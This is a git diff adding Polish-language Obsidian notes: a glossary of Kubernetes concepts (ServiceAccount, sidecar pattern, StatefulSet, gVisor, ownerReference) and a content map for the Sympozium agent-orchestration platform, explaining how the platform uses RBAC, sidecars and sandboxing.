b/08-Słownik-K8s/ServiceAccount.md @@ -0,0 +1,49 @@ +# ServiceAccount + +#kubernetes #security #rbac #słownik + +## Co to jest? + +**ServiceAccount** to tożsamość przypisana do podów w Kubernetes. Pody używają ServiceAccount do autentykacji wobec API servera i uzyskania uprawnień zdefiniowanych w [[RBAC]]. + +## Jak działa? + +``` +Pod → ServiceAccount → Token (auto-mounted) → K8s API Server + ↓ + RoleBinding sprawdza: + "Czy ten SA ma Role z verbs?" +``` + +Token jest automatycznie montowany w podzie pod: +``` +/var/run/secrets/kubernetes.io/serviceaccount/token +``` + +## Domyślne zachowanie + +- Każdy namespace ma `default` ServiceAccount +- Pody bez jawnego SA używają `default` +- `default` SA ma minimalne uprawnienia (prawie żadne) + +## Użycie w Sympozium + +Controller tworzy **dedykowany ServiceAccount** `sympozium-agent` w namespace runu: + +``` +1. ensureAgentServiceAccount() → tworzy SA +2. Role/ClusterRole → definiuje uprawnienia (z SkillPack) +3. RoleBinding → wiąże SA z Role +4. Pod spec: serviceAccountName: sympozium-agent +5. Skill sidecar używa tokenu SA do kubectl/API calls +6. Po zakończeniu → SA i RBAC garbage-collected +``` + +Agent container **nie używa** tokenu SA (brak dostępu do K8s API). +Skill sidecar **używa** tokenu SA (kubectl via automounted token). + +Więcej: [[RBAC]] | [[Efemeryczny RBAC per-run]] | [[Skill Sidecars i auto-RBAC]] + +--- + +Powiązane: [[RBAC]] | [[Efemeryczny RBAC per-run]] | [[Pod]] diff --git a/08-Słownik-K8s/Sidecar Pattern.md b/08-Słownik-K8s/Sidecar Pattern.md new file mode 100644 index 0000000..d18d17c --- /dev/null +++ b/08-Słownik-K8s/Sidecar Pattern.md @@ -0,0 +1,64 @@ +# Sidecar Pattern + +#kubernetes #patterns #słownik + +## Co to jest? + +**Sidecar Pattern** to wzorzec architektoniczny w Kubernetes gdzie **dodatkowy kontener** (sidecar) jest uruchamiany obok głównego kontenera w tym samym [[Pod|podzie]]. Sidecar rozszerza lub uzupełnia funkcjonalność głównego kontenera. + +## Cechy + +- Współdzieli **sieć** z głównym kontenerem (localhost) +- Współdzieli **woluminy** (np. /ipc, /workspace) +- Ma **własne zasoby** (CPU, memory limits) +- Ma **własny lifecycle** (może mieć inne healthchecks) +- **Nie modyfikuje** głównego kontenera + +## Typowe zastosowania + +| Sidecar | Rola | Przykład | +|---------|------|---------| +| Log collector | Zbiera logi | Fluentd, Filebeat | +| Proxy | Routing sieciowy | Envoy (Istio), Linkerd | +| Auth | Autentykacja/autoryzacja | OAuth2 proxy | +| Monitoring | Metryki | Prometheus exporter | +| **IPC Bridge** | Komunikacja | Sympozium: fsnotify → NATS | +| **Skill sidecar** | Narzędzia | Sympozium: kubectl, helm | + +## Komunikacja main ↔ sidecar + +| Metoda | Opis | Użycie w Sympozium | +|--------|------|---------------------| +| **Shared volume** | Pliki w współdzielonym katalogu | `/ipc/` - JSON request/response | +| **localhost** | HTTP/gRPC na localhost | Memory server API | +| **Shared network** | Porty na localhost | MCP bridge | + +## Użycie w Sympozium + +Sympozium to **intensywny użytkownik sidecar pattern**. Typowy agent pod: + +``` +┌─────────────────────────────────────────────┐ +│ Agent Pod │ +│ │ +│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ +│ │ MAIN: │ │ SIDECAR: │ │ SIDECAR: │ │ +│ │ Agent │ │ IPC │ │ Skill │ │ +│ │ Runner │ │ Bridge │ │ (kubectl)│ │ +│ └──────────┘ └──────────┘ └──────────┘ │ +│ │ +│ ┌──────────┐ ┌──────────┐ │ +│ │ SIDECAR: │ │ SIDECAR: │ │ +│ │ MCP │ │ Sandbox │ │ +│ │ Bridge │ │ (opcj.) │ │ +│ └──────────┘ └──────────┘ │ +└─────────────────────────────────────────────┘ +``` + +Kluczowa innowacja: **skill sidecary mają własny [[RBAC]]**, a agent container nie ma żadnych credentials K8s. + +Więcej: [[Skill Sidecars i auto-RBAC]] | [[Cykl życia Agent Pod]] + +--- + +Powiązane: [[Pod]] | [[Skill Sidecars i auto-RBAC]] | [[Przepływ danych i IPC]] diff --git a/08-Słownik-K8s/StatefulSet.md b/08-Słownik-K8s/StatefulSet.md new file mode 100644 index 0000000..d90adfa --- /dev/null +++ b/08-Słownik-K8s/StatefulSet.md @@ -0,0 +1,27 @@ +# StatefulSet + +#kubernetes #workload #słownik + +## Co to jest? + +**StatefulSet** zarządza podami ze **stabilną tożsamością** - stały hostname, ordered deployment/scaling, i persistent storage per pod. + +## Różnica vs Deployment + +| | StatefulSet | [[Deployment]] | +|---|-------------|------------| +| Pod names | Ordered: `nats-0`, `nats-1` | Random: `nats-7d8f9-abc` | +| Scaling | Sekwencyjne (0, 1, 2...) | Równoległe | +| Storage | PVC per pod (stałe) | Shared lub brak | +| Network | Stable DNS per pod | Load-balanced Service | + +## Użycie w Sympozium + +**NATS JetStream** jest deployowany jako StatefulSet: +- Stały hostname (`nats-0.nats.sympozium-system.svc`) +- Persistent storage dla JetStream data +- Durable event bus z replay capability + +--- + +Powiązane: [[NATS JetStream - Event Bus]] | [[Deployment]] | [[Pod]] diff --git a/08-Słownik-K8s/gVisor.md b/08-Słownik-K8s/gVisor.md new file mode 100644 index 0000000..cbb57f1 --- /dev/null +++ b/08-Słownik-K8s/gVisor.md @@ -0,0 +1,87 @@ +# gVisor + +#kubernetes #security #sandbox #słownik + +## Co to jest? + +**gVisor** to projekt open-source od Google implementujący **user-space kernel** - warstwę pośrednią między kontenerem a kernelem hosta. Zamiast pozwalać kontenerowi na bezpośrednie wywołania systemowe (syscalls) do kernela hosta, gVisor przechwytuje je i obsługuje we własnym user-space kernelu o nazwie **Sentry**. + +## Jak działa? + +``` +Bez gVisor: + Container → syscall → Host Kernel (współdzielony!) + +Z gVisor: + Container → syscall → Sentry (user-space kernel) → ograniczone syscalls → Host Kernel +``` + +**Sentry** reimplementuje dużą część interfejsu Linux kernel (ponad 200 syscalls) w Go. Tylko niewielka liczba prawdziwych syscalls jest przekazywana do hosta. + +## Kluczowe komponenty + +| Komponent | Rola | +|-----------|------| +| **Sentry** | User-space kernel - obsługuje syscalls kontenera | +| **Gofer** | File server - pośredniczy w dostępie do systemu plików | +| **runsc** | OCI runtime - integruje się z containerd/runc | + +## Dlaczego to ważne? + +### Problem z tradycyjnymi kontenerami +Kontenery współdzielą kernel hosta. Exploit w kernelu (np. CVE w obsłudze syscalls) = ucieczka z kontenera = dostęp do hosta i wszystkich innych kontenerów. + +### Rozwiązanie gVisor +- Kontener rozmawia z **Sentry**, nie z prawdziwym kernelem +- Nawet jeśli Sentry zostanie skompromitowany, ma ograniczony dostęp do hosta +- Powierzchnia ataku kernela zredukowana z ~400 syscalls do ~50 + +## Porównanie z alternatywami + +| Technologia | Izolacja | Overhead | Kompatybilność | +|-------------|----------|----------|-----------------| +| Kontenery (runc) | Namespace + cgroups | ~0% | 100% | +| **gVisor** | User-space kernel | **5-10%** | ~95% (nie wszystkie syscalls) | +| [[Kata Containers]] | Lightweight VM | ~15-20% | ~99% | +| Pełna VM (KVM) | Hypervisor | ~30%+ | 100% | + +## Ograniczenia + +- **Nie wszystkie syscalls** są implementowane (np. niektóre ioctl) +- **Overhead I/O** - Gofer dodaje pośrednika do operacji plikowych +- **Networking** - netstack (własny stack sieciowy) może mieć różnice w zachowaniu +- **GPU** - ograniczone wsparcie dla GPU passthrough + +## Użycie w Kubernetes + +gVisor integruje się z K8s przez [[RuntimeClass]]: + +```yaml +apiVersion: node.k8s.io/v1 +kind: RuntimeClass +metadata: + name: gvisor +handler: runsc +``` + +Pod używający gVisor: +```yaml +spec: + runtimeClassName: gvisor +``` + +## Użycie w Sympozium + +W Sympozium gVisor jest opcjonalną warstwą izolacji dla agent podów. Konfiguracja w [[AgentRun]] lub [[SympoziumInstance]]: + +```yaml +agentSandbox: + enabled: true + runtimeClass: gvisor +``` + +Integracja via [[Agent Sandbox - gVisor i Kata]] (kubernetes-sigs/agent-sandbox). + +--- + +Powiązane: [[Kata Containers]] | [[Agent Sandbox - gVisor i Kata]] | [[RuntimeClass]] | [[SecurityContext]] diff --git a/08-Słownik-K8s/ownerReference.md b/08-Słownik-K8s/ownerReference.md new file mode 100644 index 0000000..8d9e55b --- /dev/null +++ b/08-Słownik-K8s/ownerReference.md @@ -0,0 +1,66 @@ +# ownerReference + +#kubernetes #lifecycle #garbage-collection #słownik + +## Co to jest? + +**ownerReference** to metadata na zasobie Kubernetes wskazująca na jego "właściciela". Gdy właściciel jest usunięty, Kubernetes **automatycznie garbage-collectuje** zasoby-dzieci. + +## Jak działa? + +```yaml +# Child resource (np. Job) +metadata: + ownerReferences: + - apiVersion: sympozium.ai/v1alpha1 + kind: AgentRun + name: my-run-001 + uid: abc-123 + controller: true + blockOwnerDeletion: true +``` + +``` +Usunięcie AgentRun → K8s GC → Usunięcie Job → Usunięcie Pod +``` + +## Cascade deletion + +| Typ | Zachowanie | +|-----|------------| +| **Foreground** | Owner czeka na usunięcie children | +| **Background** | Owner usunięty natychmiast, children async | +| **Orphan** | Children nie są usuwane (osierocone) | + +## Ograniczenia + +- ownerReference działa **tylko w tym samym namespace** +- Cluster-scoped zasoby (ClusterRole) **nie mogą** mieć ownerRef na namespace-scoped (AgentRun) +- Dlatego Sympozium używa label-based cleanup dla cluster RBAC + +## Użycie w Sympozium + +### Automatyczne (ownerRef) +``` +PersonaPack → owns → SympoziumInstance → owns → Channel Deployment + → owns → Memory ConfigMap + → owns → AgentRun → owns → Job + → owns → Role + → owns → RoleBinding +``` + +Usunięcie PersonaPack = kaskadowe usunięcie CAŁEGO drzewa. + +### Manualne (label-based, bo cross-namespace) +``` +ClusterRole (cluster-scoped) ← label: sympozium.ai/agentrun: my-run +ClusterRoleBinding ← label: sympozium.ai/agentrun: my-run + +Controller czyści po labelach w reconcileCompleted() +``` + +Więcej: [[Finalizer]] | [[Efemeryczny RBAC per-run]] | [[PersonaPacks - zespoły agentów]] + +--- + +Powiązane: [[Finalizer]] | [[Controller i Reconciler]] | [[CRD - Custom Resource Definition]] diff --git a/MOC - Sympozium.md b/MOC - Sympozium.md new file mode 100644 index 0000000..c602bf2 --- /dev/null +++ b/MOC - Sympozium.md @@ -0,0 +1,73 @@ +# Sympozium - Map of Content + +> Kubernetes-native Agent Orchestration Platform +> *"Every agent is an ephemeral Pod. Every policy is a CRD. Every execution is a Job."* + +--- + +## Przegląd projektu +- [[Czym jest Sympozium]] +- [[Kluczowe decyzje projektowe]] +- [[Struktura repozytorium]] + +## Architektura +- [[Control Plane]] +- [[Cykl życia Agent Pod]] +- [[Przepływ danych i IPC]] +- [[NATS JetStream - Event Bus]] +- [[Orchestrator - PodBuilder i Spawner]] + +## Custom Resource Definitions +- [[SympoziumInstance]] +- [[AgentRun]] +- [[PersonaPack]] +- [[SkillPack]] +- [[SympoziumPolicy]] +- [[SympoziumSchedule]] +- [[MCPServer]] + +## Zarządzanie agentami w klastrze +- [[Model efemerycznych agentów]] +- [[Cykl życia AgentRun]] +- [[Skill Sidecars i auto-RBAC]] +- [[Sub-agenty i hierarchia]] +- [[PersonaPacks - zespoły agentów]] +- [[Scheduled Tasks - heartbeaty i swepy]] +- [[Tryb Server vs Task]] +- [[Persistent Memory]] + +## Bezpieczeństwo i izolacja +- [[Model bezpieczeństwa Defence-in-Depth]] +- [[Agent Sandbox - gVisor i Kata]] +- [[NetworkPolicy i izolacja sieciowa]] +- [[Efemeryczny RBAC per-run]] +- [[Admission Webhooks i polityki]] + +## Komunikacja +- [[Kanały - Telegram Slack Discord WhatsApp]] +- [[MCP Servers - Model Context Protocol]] +- [[Web Endpoints - OpenAI-compat API]] +- [[Node Probe - odkrywanie inferencji]] + +## Porównania +- [[Sympozium vs kagent]] +- [[Sympozium vs frameworki in-process]] + +## Słownik Kubernetes +Wyjaśnienia pojęć K8s używanych w projekcie: + +**Workloady:** [[Pod]] | [[Job]] | [[Deployment]] | [[StatefulSet]] | [[DaemonSet]] + +**Bezpieczeństwo:** [[gVisor]] | [[Kata Containers]] | [[RuntimeClass]] | [[SecurityContext]] | [[RBAC]] | [[ServiceAccount]] | [[NetworkPolicy]] | [[Admission Webhook]] + +**Architektura:** [[CRD - Custom Resource Definition]] | [[Controller i Reconciler]] | [[Sidecar Pattern]] | [[Namespace]] | [[Helm Chart]] + +**Lifecycle:** [[Finalizer]] | [[ownerReference]] + +**Storage:** [[ConfigMap i Secret]] | [[PersistentVolumeClaim]] + +**Messaging:** [[NATS JetStream]] + +--- + +#sympozium #kubernetes #ai-agents #analiza